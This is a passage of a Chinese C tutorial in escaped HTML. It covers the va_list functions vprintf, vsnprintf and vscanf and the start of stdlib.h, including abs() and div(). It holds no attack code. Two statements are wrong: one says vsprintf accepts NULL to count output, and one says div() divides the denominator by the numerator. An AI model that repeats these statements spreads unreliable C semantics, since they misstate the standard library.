class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evfprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e stream,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsnprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们的返回值都为输出的字符数,如果出错,返回负值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003evsprintf()\u003c/code\u003e和\u003ccode\u003evsnprintf()\u003c/code\u003e的第一个参数可以为 NULL,用来查看多少个字符会被写入。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003elogger\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = \u003cspan class=\"built_in\"\u003evprintf\u003c/span\u003e(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 x = 12 and y = 3.20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elogger(\u003cspan class=\"string\"\u003e\u0026#34;x = %d and y = %.2f\u0026#34;\u003c/span\u003e, x, y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)输入函数\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003escanf()\u003c/code\u003e的变体函数,用于按照给定格式,输入可变参数列表 (va_list)。\u003c/p\u003e\u003cul\u003e\u003cli\u003evscanf():按照给定格式,从控制台读取(默认为键盘)。\u003c/li\u003e\u003cli\u003evfscanf():按照给定格式,从文件读取。\u003c/li\u003e\u003cli\u003evsscanf():按照给定格式,从字符串读取。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下,跟对应的\u003ccode\u003escanf()\u003c/code\u003e函数基本一致,除了最后一个参数是可变参数对象。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evfscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e stream,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们返回成功读取的项数,遇到文件结尾或错误,则返回 EOF。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eerror_check_scanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e expected_count, \u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = vscanf(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e assert(count == expected_count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror_check_scanf(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;%d, %d/%f\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b, \u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stdlib-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdlib-h\" class=\"headerlink\" title=\"stdlib.h\"\u003e\u003c/a\u003estdlib.h\u003c/h2\u003e\u003ch3 id=\"类型别名和宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E5%88%AB%E5%90%8D%E5%92%8C%E5%AE%8F\" class=\"headerlink\" title=\"类型别名和宏\"\u003e\u003c/a\u003e类型别名和宏\u003c/h3\u003e\u003cp\u003estdlib.h 定义了下面的类型别名。\u003c/p\u003e\u003cul\u003e\u003cli\u003esize_t:sizeof 的返回类型。\u003c/li\u003e\u003cli\u003ewchar_t:宽字符类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003estdlib.h 定义了下面的宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eNULL:空指针。\u003c/li\u003e\u003cli\u003eEXIT_SUCCESS:函数运行成功时的退出状态。\u003c/li\u003e\u003cli\u003eEXIT_FAILURE:函数运行错误时的退出状态。\u003c/li\u003e\u003cli\u003eRAND_MAX:rand() 函数可以返回的最大值。\u003c/li\u003e\u003cli\u003eMB_CUR_MAX:当前语言环境中,多字节字符占用的最大字节数。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"abs-,labs-,llabs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#abs-%EF%BC%8Clabs-%EF%BC%8Cllabs\" class=\"headerlink\" title=\"abs(),labs(),llabs()\"\u003e\u003c/a\u003eabs(),labs(),llabs()\u003c/h3\u003e\u003cp\u003e这三个函数用于计算整数的绝对值。\u003ccode\u003eabs()\u003c/code\u003e用于 int 类型,\u003ccode\u003elabs()\u003c/code\u003e用于 long int 类型,\u003ccode\u003ellabs()\u003c/code\u003e用于 long long int 类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003elabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ellabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 |-2| = 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;|-2| = %d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e-2\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 |4| = 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;|4| = %d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"div-,ldiv-,lldiv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#div-%EF%BC%8Cldiv-%EF%BC%8Clldiv\" class=\"headerlink\" title=\"div(),ldiv(),lldiv()\"\u003e\u003c/a\u003ediv(),ldiv(),lldiv()\u003c/h3\u003e\u003cp\u003e这三个函数用来计算两个参数的商和余数。\u003ccode\u003ediv()\u003c/code\u003e用于 int 类型的相除,\u003ccode\u003eldiv()\u003c/code\u003e用于 long int 类型的相除,\u003ccode\u003elldiv()\u003c/code\u003e用于 long long int 类型的相除。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ediv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eldiv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003eldiv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elldiv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003elldiv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这些函数把第2个参数(分母)除以第1个参数(分子),产生商和余数。这两个值通过一个数据结构返回,\u003ccode\u003ediv()\u003c/code\u003e返回 div_t 结构,\u003ccode\u003eldiv()\u003c/code\u003e返回 ldiv_t 结构,\u003ccode\u003elldiv()\u003c/code\u003e返回 lldiv_t 结构。\u003c/p\u003e\u003cp\u003e这些结构都包含下面两个字段,\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e quot;  \u003cspan class=\"comment\"\u003e// 商\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e rem;  \u003cspan class=\"comment\"\u003e// 余数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们完整的定义如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan 